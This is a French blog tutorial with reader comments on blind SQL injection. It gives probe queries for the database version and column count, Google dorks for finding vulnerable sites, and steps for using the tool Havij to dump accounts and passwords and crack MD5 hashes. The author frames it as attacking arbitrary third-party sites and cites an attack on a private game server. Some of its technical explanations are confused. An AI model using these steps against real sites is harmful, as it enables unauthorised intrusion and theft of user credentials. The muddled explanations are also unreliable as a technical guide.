Les injection SQL : Blind 4

Les injections SQL, un vaste domaine dans le monde du hacking, un tutoriel ayant déjà été fait pour les formulaires, je vais vous parler des injections dites « Blind » (à l’aveugle).

Ces failles se trouvent dans le CMS, on les utilises dans les scripts à réponse binaire, pour tirer des données de la BDD.

Les pages atteintes de failles SQL Blind se présentent comme ceci : http://www.xxxxxxx.com/id=X.

Premièrement, il faut trouver la version du serveur, pour cela, on va envoyer des requêtes au serveur, on va ici chercher à se contenter de la version dite majeure (c’est à dire : 4).

On va donc envoyer la requête suivante :
SELECT * FROM table WHERE champ = ‘a’ OR @@version > 3;
(Je reprends les couleurs habituellement utilisées pour ce genre de tuto, en bleu la requête de base, et en vert ce qu’on à ajouté.)
Si on obtient une erreur, c’est que la version du serveur est inférieure à 3 et si l’on obtient une page normale, qu’elle est supérieure à 3.

Testons donc avec 2, comme second exemple :
SELECT * FROM table WHERE champ = ‘a’ OR @@version > 2;
Et ainsi de suite, selon la réponse reçue !

Ensuite, on va récupérer les champs, leurs noms et leurs types, pour cela, je recommandes Union, mais il est requis que la version soit inférieure ou supérieure à 4.

On va donc essayer les requètes suivantes pour obtenir les champs (c’est un exemple, remplacez ce qui est précédé d’un $ par vos requêtes évidement !) :

SELECT id, champ1 FROM table WHERE id = ‘$id_existant’ GROUP BY id;
Renvoi vrai

SELECT id, champ1 FROM table WHERE id = ‘$id_non_existant’ GROUP BY id;
Renvoi faux

SELECT id, champ1 FROM table WHERE id = ‘$id_existant’ GROUP BY $toast;
Renvoi faux ou bien une erreur (si $toast n’est pas un champ)

SELECT id, champ1 FROM table WHERE id = ‘$id_non_existant’ GROUP BY champ1;
Renvoi vrai

SELECT id, champ1 FROM table WHERE id = ‘$id_non_existant’ GROUP BY 1;
Renvoi vrai => Il y a au moins un champ

SELECT id, champ1 FROM table WHERE id = ‘$id_non_existant’ GROUP BY 2;
Renvoi vrai => Il y a au moins deux champs

SELECT id, champ1 FROM table WHERE id = ‘$id_non_existant’ GROUP BY 3;
Renvoi faux => On sait qu’il y a deux champs.

Ici, nous avons donc deux champs.

Vous avez donc ici la base du Blind à la main, je ne m’avancerais pas plus, car la partie qui permets de récupérer des informations (comme des comptes et des mots de passe), est bien trop longue et complexe pour être faite à la main.


Une autre alternative à ce paquet de requêtes longues et répétitives, c’est un logiciel nommé Havij, qui s’occupe de tout à votre place, facilement trouvable sur le net, la seul chose qu’il vous demandes, c’est une page vulnérable !

Pour trouver une page vulnérable, vous avec deux solutions : Le hasard : tapez une quote () à la fin de l’url, si la page se vide ou affiche une erreur, votre site est vulnérable !
Donc, si votre site   »http://www.xxxxxxx.com/id=X » affiche une page, et qu’en tapant  »http://www.xxxxxxx.com/id=X’ « , il affiche une erreur ou une page vide, c’est super !

OU, cherchez sur google un site vulnérable à l’aide de Dorks (Requête à taper dans le moteur de recherche qui vous sortira tous les sites vulnérables !
Je vous en offres quelques uns :
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=

Une fois votre page choisie, lancez Havij, collez le lien dans Havij, mettez tout en Auto, et « GET » pour la méthode, et Havij s’occupera du reste !

En cas de mot de passe crypté (série de chiffres et de lettres longue et incohérentes), copiez le mot de passe, et collez le dans l’onglet MD5, ça décryptera le mot de passe, automatiquement.

Une petite vidéo de moi même, une blind trouvée sur un serveur privé Dofus, on voit toutes les étapes d’Havij, en accéléré, ayez l’oeil !

Hacking : Blind SQL Injection By Akakyu

Akakyu.


Pour être informé lorsque un nouvel article est publié, abonnez vous !

4 commentaires sur “Les injection SQL : Blind

  1. Répondre onesime file22 Le 6 / 06 / 2012 à 18 h 56 min

    les injections SQl me procurent une inspiration d’attaque de base de données non sécurisées.

  2. Répondre Akakyu Le 6 / 06 / 2012 à 19 h 29 min

    Comme à beaucoup de gens ;)

  3. Répondre appel d'offre tunise Le 25 / 01 / 2013 à 15 h 36 min

    Même si c’est un peu compliqué, mais merci comme même, je pense qu’avec ASP ça devient plus compliqué aussi :)

  4. Répondre tunisie infos Le 10 / 05 / 2013 à 10 h 31 min

    merci pour l’article je connais peu sur ces méthodes et je trouve que c’est important de bien connaitre ces détails pour bien protéger son site

Laisser un commentaire